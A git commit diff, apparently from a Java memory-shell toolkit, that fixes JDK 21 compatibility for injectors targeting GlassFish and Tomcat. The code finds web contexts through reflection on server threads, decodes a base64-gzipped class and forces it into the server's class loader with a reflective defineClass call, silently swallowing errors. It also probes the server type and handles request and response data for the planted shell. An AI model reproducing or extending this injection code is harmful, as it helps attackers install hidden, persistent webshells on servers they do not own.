fix: glassfish7/8 jdk21 shell failed

This commit is contained in:
ReaJason
2026-08-03 23:54:06 +08:00
parent 0e37e406da
commit a8cb4c68bc
14 changed files with 3078 additions and 15 deletions
@@ -87,7 +87,11 @@ public class GlassFishFilterInjector {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
@@ -97,6 +101,18 @@ public class GlassFishFilterInjector {
return contexts;
}
private Object getThreadTarget(Thread thread) throws Exception {
Object target = getFieldValue(thread, "target");
if (target == null) {
// JDK 21+
Object holder = getFieldValue(thread, "holder");
if (holder != null) {
target = getFieldValue(holder, "task");
}
}
return target;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -76,7 +76,11 @@ public class GlassFishValveInjector {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
@@ -87,6 +91,15 @@ public class GlassFishValveInjector {
return contexts;
}
private Object getThreadTarget(Thread thread) throws Exception {
try {
return getFieldValue(thread, "target");
} catch (NoSuchFieldException e) {
// JDK 21+
return getFieldValue(getFieldValue(thread, "holder"), "task");
}
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -199,17 +199,22 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
// Always define into the target class's loader. loadClass() may resolve the shell from the
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
findLoadedClass.setAccessible(true);
if (findLoadedClass.invoke(loader, getClassName()) != null) {
return;
}
} catch (Throwable ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
} catch (Throwable ignored) {
}
}
}
@@ -199,17 +199,22 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
// Always define into the target class's loader. loadClass() may resolve the shell from the
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
findLoadedClass.setAccessible(true);
if (findLoadedClass.invoke(loader, getClassName()) != null) {
return;
}
} catch (Throwable ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
} catch (Throwable ignored) {
}
}
}
@@ -59,14 +59,22 @@ public class TomcatListenerInjector {
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Object proto = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
@@ -90,6 +98,18 @@ public class TomcatListenerInjector {
return contexts;
}
private Object getThreadTarget(Thread thread) throws Exception {
Object target = getFieldValue(thread, "target");
if (target == null) {
// JDK 21+
Object holder = getFieldValue(thread, "holder");
if (holder != null) {
target = getFieldValue(holder, "task");
}
}
return target;
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
@@ -70,7 +70,9 @@ public class ServerProbe {
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) {
return ret = "SpringWebFlux";
}
if (System.getProperty("AS_INSTALL") != null) {
if (System.getProperty("AS_INSTALL") != null
|| System.getProperty("com.sun.aas.installRoot") != null
|| System.getProperty("glassfish.version") != null) {
return ret = "GlassFish";
}
if (System.getProperty("jboss.home.dir") != null
@@ -156,7 +156,11 @@ public class GlassFishFilterProbe {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
@@ -166,6 +170,15 @@ public class GlassFishFilterProbe {
return contexts;
}
private Object getThreadTarget(Thread thread) throws Exception {
try {
return getFieldValue(thread, "target");
} catch (NoSuchFieldException e) {
// JDK 21+
return getFieldValue(getFieldValue(thread, "holder"), "task");
}
}
public static Object invokeMethod(Object obj, String methodName) throws Exception {
return invokeMethod(obj, methodName, null, null);
}
@@ -32,7 +32,7 @@ public class GlassFishWriter {
// GlassFish4+
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
Object blocker = getFieldValue(thread, "blocker");
Object blocker = getThreadBlocker(thread);
if (blocker == null || !blocker.getClass().getName().contains("Selector")) {
continue;
}
@@ -62,6 +62,19 @@ public class GlassFishWriter {
}
}
private Object getThreadBlocker(Thread thread) {
try {
return getFieldValue(thread, "blocker");
} catch (Throwable ignored) {
try {
// JDK 21+
return getFieldValue(thread, "nioBlocker");
} catch (Throwable ignored2) {
return null;
}
}
}
private boolean tryWriteRes(Object request) throws Exception {
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);